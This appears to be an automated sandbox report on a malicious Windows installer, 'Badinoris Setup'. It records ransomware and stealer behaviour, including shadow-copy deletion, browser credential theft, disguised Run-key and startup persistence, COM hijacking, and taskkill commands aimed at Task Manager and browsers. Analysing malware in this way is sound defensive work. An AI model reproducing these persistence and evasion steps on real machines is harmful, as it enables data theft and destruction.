1f7128d300c623a45434b1a8c6b1134da604f59006a82c6744f2e61a51b3371e

Analysis

max time kernel
151s
max time network
156s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260618-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260618-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
28/06/2026, 00:48

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Badinoris Setup 1.0.0.exe
Size 57.3MB
Sample260628-a55dxaew9z
SHA256 1f7128d300c623a45434b1a8c6b1134da604f59006a82c6744f2e61a51b3371e
MD5 3cfca07fb47f94d5c671935586e48d1b
SHA1 105b002c05d91a4f6c32339c5a0444e5c8749828
SHA512 55b83d5ca21734ba96da50677200ae934b6e65ac999a285bad5abab1e7f4a53cf26c95d75ebfc65a0afc042e671483200768a3e7c05eb13ef3de5b400d387175
SSDEEP 1572864:eqHVxbWg+JyyEC8F55HssDJAGklJX88tdR:eCVRWpyyn8F5NpD6GkLR
TLSH
T1EBD733507B83B44BEAD9E33F43F6A815FCBD82342C15809177DE2255A3A5C94AD8C2DB
MD5 SHA1 SHA512 SSDEEP TLSH

Score

9^/10

defense_evasion discovery execution impact persistence privilege_escalation ransomware spyware stealer

Malware Config

Signatures

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047

Command and Scripting Interpreter: PowerShell 1 TTPs 14 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3548	powershell.exe
5400	powershell.exe
2640	powershell.exe
2160	powershell.exe
1732	powershell.exe
4084	powershell.exe
3996	powershell.exe
6032	powershell.EXE
5400	powershell.exe
2640	powershell.exe
2160	powershell.exe
1732	powershell.exe
4084	powershell.exe
3548	powershell.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Spotify.lnk	cscript.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Spotify.lnk	attrib.exe

Event Triggered Execution: Component Object Model Hijacking 1 TTPs
Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.
persistence privilege_escalation

Component Object Model Hijacking
T1546.015

Executes dropped EXE 6 IoCs

pid	Process
5488	Badinoris.exe
480	Badinoris.exe
1236	Badinoris.exe
4016	chrome_pwa_launcher.exe
1720	Badinoris.exe
4600	Badinoris.exe

Loads dropped DLL 17 IoCs

pid	Process
1576	Badinoris Setup 1.0.0.exe
1576	Badinoris Setup 1.0.0.exe
1576	Badinoris Setup 1.0.0.exe
1576	Badinoris Setup 1.0.0.exe
1576	Badinoris Setup 1.0.0.exe
1576	Badinoris Setup 1.0.0.exe
1576	Badinoris Setup 1.0.0.exe
5488	Badinoris.exe
480	Badinoris.exe
1236	Badinoris.exe
480	Badinoris.exe
480	Badinoris.exe
480	Badinoris.exe
5488	Badinoris.exe
5488	Badinoris.exe
1720	Badinoris.exe
4600	Badinoris.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-537605601-1362463912-856654178-1000\Software\Microsoft\Windows\CurrentVersion\Run\MicrosoftEdgeAutoLaunch = "C:\\Users\\Admin\\AppData\\Local\\Programs\\Badinoris\\Badinoris.exe"	reg.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Indicator Removal: Clear Persistence 1 TTPs 2 IoCs

Clear artifacts associated with previously established persistence like scheduletasks on a host.

defense_evasion

Clear Persistence

T1070.009

pid	Process
2524	cmd.exe
4516	cmd.exe

Looks up external IP address via web service 4 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
9	ip-api.com
9	api.ipify.org
15	api.ipify.org
24	api.ipify.org

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.EXE

Hide Artifacts: Hidden Files and Directories 1 TTPs 2 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
1456	cmd.exe
2480	cmd.exe

Drops file in Program Files directory 1 IoCs

description	ioc	Process
File created	C:\Program Files\Google\Chrome\Application\chrome_pwa_launcher.exe	Badinoris.exe

Drops file in Windows directory 2 IoCs

description	ioc	Process
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_hp4wpfiq.z4t.ps1	powershell.EXE
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_mhzlu24s.jlc.psm1	powershell.EXE

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Badinoris Setup 1.0.0.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 4 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
3956	cmd.exe
1864	PING.EXE
2336	cmd.exe
248	PING.EXE

Interacts with shadow copies 3 TTPs 2 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
3548	vssadmin.exe
3252	vssadmin.exe

Kills process with taskkill 64 IoCs

defense_evasion

pid	Process
5776	taskkill.exe
996	taskkill.exe
5356	taskkill.exe
4816	taskkill.exe
2716	taskkill.exe
1292	taskkill.exe
3996	taskkill.exe
3384	taskkill.exe
1724	taskkill.exe
5016	taskkill.exe
2304	taskkill.exe
3448	taskkill.exe
2920	taskkill.exe
6000	taskkill.exe
4608	taskkill.exe
2564	taskkill.exe
1356	taskkill.exe
5516	taskkill.exe
3908	taskkill.exe
2268	taskkill.exe
4252	taskkill.exe
2564	taskkill.exe
5948	taskkill.exe
3404	taskkill.exe
5764	taskkill.exe
2860	taskkill.exe
5956	taskkill.exe
4996	taskkill.exe
5068	taskkill.exe
3188	taskkill.exe
5392	taskkill.exe
828	taskkill.exe
4300	taskkill.exe
4984	taskkill.exe
3796	taskkill.exe
4240	taskkill.exe
332	taskkill.exe
2176	taskkill.exe
3448	taskkill.exe
2856	taskkill.exe
3252	taskkill.exe
5148	taskkill.exe
4752	taskkill.exe
6140	taskkill.exe
2640	taskkill.exe
3096	taskkill.exe
1324	taskkill.exe
3780	taskkill.exe
468	taskkill.exe
3640	taskkill.exe
4008	taskkill.exe
1452	taskkill.exe
824	taskkill.exe
4028	taskkill.exe
3596	taskkill.exe
708	taskkill.exe
3768	taskkill.exe
4932	taskkill.exe
1088	taskkill.exe
992	taskkill.exe
2116	taskkill.exe
3620	taskkill.exe
2528	taskkill.exe
2020	taskkill.exe

Modifies data under HKEY_USERS 41 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE

Modifies registry class 6 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-537605601-1362463912-856654178-1000_Classes\CLSID\{cb256b-cb25-cb25-cb25-cb256bcb25}\InprocServer32	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-537605601-1362463912-856654178-1000_Classes\CLSID	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-537605601-1362463912-856654178-1000_Classes\CLSID\{cb256b-cb25-cb25-cb25-cb256bcb25}	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-537605601-1362463912-856654178-1000_Classes\CLSID\{cb256b-cb25-cb25-cb25-cb256bcb25}\InprocServer32\ = "C:\\Users\\Admin\\AppData\\Local\\Programs\\Badinoris\\Badinoris.exe"	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-537605601-1362463912-856654178-1000_Classes\CLSID\{cb256b-cb25-cb25-cb25-cb256bcb25}\InprocServer32	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-537605601-1362463912-856654178-1000_Classes\CLSID\{cb256b-cb25-cb25-cb25-cb256bcb25}\InprocServer32\ThreadingModel = "Both"	reg.exe

Runs net.exe

Runs ping.exe 1 TTPs 2 IoCs

Remote System Discovery

T1018

pid	Process
248	PING.EXE
1864	PING.EXE

Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
2188	schtasks.exe
2612	schtasks.exe

Suspicious behavior: EnumeratesProcesses 43 IoCs

pid	Process
1576	Badinoris Setup 1.0.0.exe
1576	Badinoris Setup 1.0.0.exe
1236	Badinoris.exe
1236	Badinoris.exe
3800	WMIC.exe
3800	WMIC.exe
3800	WMIC.exe
3800	WMIC.exe
6036	powershell.exe
6036	powershell.exe
6032	powershell.EXE
6032	powershell.EXE
6036	powershell.exe
6032	powershell.EXE
3996	powershell.exe
3996	powershell.exe
3996	powershell.exe
236	WMIC.exe
236	WMIC.exe
236	WMIC.exe
236	WMIC.exe
1732	powershell.exe
1732	powershell.exe
1732	powershell.exe
4084	powershell.exe
4084	powershell.exe
4084	powershell.exe
3548	powershell.exe
3548	powershell.exe
3548	powershell.exe
5400	powershell.exe
5400	powershell.exe
5400	powershell.exe
2640	powershell.exe
2640	powershell.exe
2640	powershell.exe
2160	powershell.exe
2160	powershell.exe
2160	powershell.exe
4600	Badinoris.exe
4600	Badinoris.exe
4600	Badinoris.exe
4600	Badinoris.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeSecurityPrivilege	1576	Badinoris Setup 1.0.0.exe
Token: SeDebugPrivilege	5316	taskkill.exe
Token: SeDebugPrivilege	2976	taskkill.exe
Token: SeDebugPrivilege	108	taskkill.exe
Token: SeDebugPrivilege	4996	taskkill.exe
Token: SeDebugPrivilege	1356	taskkill.exe
Token: SeDebugPrivilege	5776	taskkill.exe
Token: SeDebugPrivilege	5620	taskkill.exe
Token: SeDebugPrivilege	5556	taskkill.exe
Token: SeDebugPrivilege	5516	taskkill.exe
Token: SeDebugPrivilege	5648	taskkill.exe
Token: SeDebugPrivilege	2400	taskkill.exe
Token: SeDebugPrivilege	5944	taskkill.exe
Token: SeIncreaseQuotaPrivilege	3800	WMIC.exe
Token: SeSecurityPrivilege	3800	WMIC.exe
Token: SeTakeOwnershipPrivilege	3800	WMIC.exe
Token: SeLoadDriverPrivilege	3800	WMIC.exe
Token: SeSystemProfilePrivilege	3800	WMIC.exe
Token: SeSystemtimePrivilege	3800	WMIC.exe
Token: SeProfSingleProcessPrivilege	3800	WMIC.exe
Token: SeIncBasePriorityPrivilege	3800	WMIC.exe
Token: SeCreatePagefilePrivilege	3800	WMIC.exe
Token: SeBackupPrivilege	3800	WMIC.exe
Token: SeRestorePrivilege	3800	WMIC.exe
Token: SeShutdownPrivilege	3800	WMIC.exe
Token: SeDebugPrivilege	3800	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3800	WMIC.exe
Token: SeRemoteShutdownPrivilege	3800	WMIC.exe
Token: SeUndockPrivilege	3800	WMIC.exe
Token: SeManageVolumePrivilege	3800	WMIC.exe
Token: 33	3800	WMIC.exe
Token: 34	3800	WMIC.exe
Token: 35	3800	WMIC.exe
Token: 36	3800	WMIC.exe
Token: SeIncreaseQuotaPrivilege	3800	WMIC.exe
Token: SeSecurityPrivilege	3800	WMIC.exe
Token: SeTakeOwnershipPrivilege	3800	WMIC.exe
Token: SeLoadDriverPrivilege	3800	WMIC.exe
Token: SeSystemProfilePrivilege	3800	WMIC.exe
Token: SeSystemtimePrivilege	3800	WMIC.exe
Token: SeProfSingleProcessPrivilege	3800	WMIC.exe
Token: SeIncBasePriorityPrivilege	3800	WMIC.exe
Token: SeCreatePagefilePrivilege	3800	WMIC.exe
Token: SeBackupPrivilege	3800	WMIC.exe
Token: SeRestorePrivilege	3800	WMIC.exe
Token: SeShutdownPrivilege	3800	WMIC.exe
Token: SeDebugPrivilege	3800	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3800	WMIC.exe
Token: SeRemoteShutdownPrivilege	3800	WMIC.exe
Token: SeUndockPrivilege	3800	WMIC.exe
Token: SeManageVolumePrivilege	3800	WMIC.exe
Token: 33	3800	WMIC.exe
Token: 34	3800	WMIC.exe
Token: 35	3800	WMIC.exe
Token: 36	3800	WMIC.exe
Token: SeBackupPrivilege	688	vssvc.exe
Token: SeRestorePrivilege	688	vssvc.exe
Token: SeAuditPrivilege	688	vssvc.exe
Token: SeDebugPrivilege	3692	taskkill.exe
Token: SeDebugPrivilege	1292	taskkill.exe
Token: SeDebugPrivilege	2528	taskkill.exe
Token: SeDebugPrivilege	5068	taskkill.exe
Token: SeDebugPrivilege	4240	taskkill.exe
Token: SeDebugPrivilege	5256	taskkill.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
5488	Badinoris.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 5488 wrote to memory of 2320	5488	Badinoris.exe	90
PID 2320 wrote to memory of 4512	2320	cmd.exe	92
PID 4512 wrote to memory of 3080	4512	net.exe	93
PID 5488 wrote to memory of 5276	5488	Badinoris.exe	94
PID 5276 wrote to memory of 5316	5276	cmd.exe	96
PID 5488 wrote to memory of 480	5488	Badinoris.exe	98
PID 5488 wrote to memory of 1236	5488	Badinoris.exe	99
PID 5488 wrote to memory of 1208	5488	Badinoris.exe	100
PID 1208 wrote to memory of 2976	1208	cmd.exe	102
PID 5488 wrote to memory of 2216	5488	Badinoris.exe	104
PID 2216 wrote to memory of 2896	2216	cmd.exe	106
PID 2896 wrote to memory of 2360	2896	net.exe	107
PID 5488 wrote to memory of 1468	5488	Badinoris.exe	108
PID 1468 wrote to memory of 2732	1468	cmd.exe	110
PID 2732 wrote to memory of 6056	2732	net.exe	111
PID 5488 wrote to memory of 476	5488	Badinoris.exe	112
PID 476 wrote to memory of 108	476	cmd.exe	114
PID 5488 wrote to memory of 4396	5488	Badinoris.exe	115
PID 4396 wrote to memory of 4996	4396	cmd.exe	117
PID 5488 wrote to memory of 1140	5488	Badinoris.exe	118
PID 1140 wrote to memory of 1356	1140	cmd.exe	120
PID 5488 wrote to memory of 1280	5488	Badinoris.exe	121
PID 1280 wrote to memory of 5776	1280	cmd.exe	123
PID 5488 wrote to memory of 4596	5488	Badinoris.exe	124
PID 4596 wrote to memory of 5620	4596	cmd.exe	126
PID 5488 wrote to memory of 2892	5488	Badinoris.exe	127
PID 2892 wrote to memory of 5556	2892	cmd.exe	129
PID 5488 wrote to memory of 3212	5488	Badinoris.exe	130
PID 3212 wrote to memory of 5516	3212	cmd.exe	132
PID 5488 wrote to memory of 1996	5488	Badinoris.exe	133
PID 1996 wrote to memory of 5648	1996	cmd.exe	135
PID 5488 wrote to memory of 6024	5488	Badinoris.exe	136
PID 6024 wrote to memory of 2400	6024	cmd.exe	138
PID 5488 wrote to memory of 1304	5488	Badinoris.exe	139
PID 1304 wrote to memory of 5944	1304	cmd.exe	141
PID 5488 wrote to memory of 2156	5488	Badinoris.exe	142
PID 2156 wrote to memory of 3800	2156	cmd.exe	144
PID 5488 wrote to memory of 5060	5488	Badinoris.exe	149
PID 5060 wrote to memory of 3548	5060	cmd.exe	151
PID 5488 wrote to memory of 3316	5488	Badinoris.exe	152
PID 3316 wrote to memory of 3692	3316	cmd.exe	154
PID 5488 wrote to memory of 6116	5488	Badinoris.exe	155
PID 6116 wrote to memory of 1292	6116	cmd.exe	157
PID 5488 wrote to memory of 5316	5488	Badinoris.exe	158
PID 5316 wrote to memory of 2528	5316	cmd.exe	160
PID 5488 wrote to memory of 1948	5488	Badinoris.exe	161
PID 1948 wrote to memory of 5068	1948	cmd.exe	163
PID 5488 wrote to memory of 5152	5488	Badinoris.exe	164
PID 5152 wrote to memory of 4240	5152	cmd.exe	166
PID 5488 wrote to memory of 5664	5488	Badinoris.exe	167
PID 5664 wrote to memory of 5256	5664	cmd.exe	169
PID 5488 wrote to memory of 2056	5488	Badinoris.exe	170
PID 2056 wrote to memory of 3328	2056	cmd.exe	172
PID 3328 wrote to memory of 404	3328	csc.exe	173
PID 5488 wrote to memory of 4016	5488	Badinoris.exe	174
PID 5488 wrote to memory of 1284	5488	Badinoris.exe	177
PID 1284 wrote to memory of 2188	1284	cmd.exe	179
PID 5488 wrote to memory of 2656	5488	Badinoris.exe	180
PID 2656 wrote to memory of 3336	2656	cmd.exe	182
PID 5488 wrote to memory of 3956	5488	Badinoris.exe	184
PID 3956 wrote to memory of 1864	3956	cmd.exe	187
PID 5488 wrote to memory of 2336	5488	Badinoris.exe	190
PID 2336 wrote to memory of 248	2336	cmd.exe	192
PID 5488 wrote to memory of 4516	5488	Badinoris.exe	193

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

Views/modifies file attributes 1 TTPs 2 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
5728	attrib.exe
4036	attrib.exe

C:\Users\Admin\AppData\Local\Temp\Badinoris Setup 1.0.0.exe
"C:\Users\Admin\AppData\Local\Temp\Badinoris Setup 1.0.0.exe"
1⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1576

C:\Users\Admin\AppData\Local\Programs\Badinoris\Badinoris.exe
"C:\Users\Admin\AppData\Local\Programs\Badinoris\Badinoris.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in Program Files directory
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
PID:5488
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "net session"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2320
- - C:\Windows\system32\net.exe
    net session
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4512
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 session
      4⤵
      PID:3080
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM taskmgr.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5276
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM taskmgr.exe
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:5316
- C:\Users\Admin\AppData\Local\Programs\Badinoris\Badinoris.exe
  "C:\Users\Admin\AppData\Local\Programs\Badinoris\Badinoris.exe" --type=gpu-process --field-trial-handle=1472,3782236000563117261,4860400025964402168,131072 --enable-features=WebComponentsV0Enabled --disable-features=CertVerifierService,CookiesWithoutSameSiteMustBeSecure,SameSiteByDefaultCookies,SpareRendererForSitePerProcess --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=1480 /prefetch:2
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  PID:480
- C:\Users\Admin\AppData\Local\Programs\Badinoris\Badinoris.exe
  "C:\Users\Admin\AppData\Local\Programs\Badinoris\Badinoris.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1472,3782236000563117261,4860400025964402168,131072 --enable-features=WebComponentsV0Enabled --disable-features=CertVerifierService,CookiesWithoutSameSiteMustBeSecure,SameSiteByDefaultCookies,SpareRendererForSitePerProcess --lang=en-US --service-sandbox-type=network --mojo-platform-channel-handle=2064 /prefetch:8
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Suspicious behavior: EnumeratesProcesses
  PID:1236
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM taskmgr.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1208
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM taskmgr.exe
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:2976
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "net session"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2216
- - C:\Windows\system32\net.exe
    net session
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2896
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 session
      4⤵
      PID:2360
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "net session"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1468
- - C:\Windows\system32\net.exe
    net session
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2732
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 session
      4⤵
      PID:6056
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM chrome.exe /T 2>nul"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:476
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM chrome.exe /T
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:108
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM msedge.exe /T 2>nul"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4396
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM msedge.exe /T
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:4996
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM brave.exe /T 2>nul"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1140
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM brave.exe /T
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:1356
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM opera.exe /T 2>nul"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1280
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM opera.exe /T
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:5776
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM vivaldi.exe /T 2>nul"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4596
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM vivaldi.exe /T
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:5620
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM firefox.exe /T 2>nul"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2892
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM firefox.exe /T
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:5556
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM browser.exe /T 2>nul"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3212
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM browser.exe /T
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:5516
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM taskmgr.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1996
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM taskmgr.exe
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:5648
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM taskmgr.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:6024
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM taskmgr.exe
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:2400
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM taskmgr.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1304
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM taskmgr.exe
    3⤵
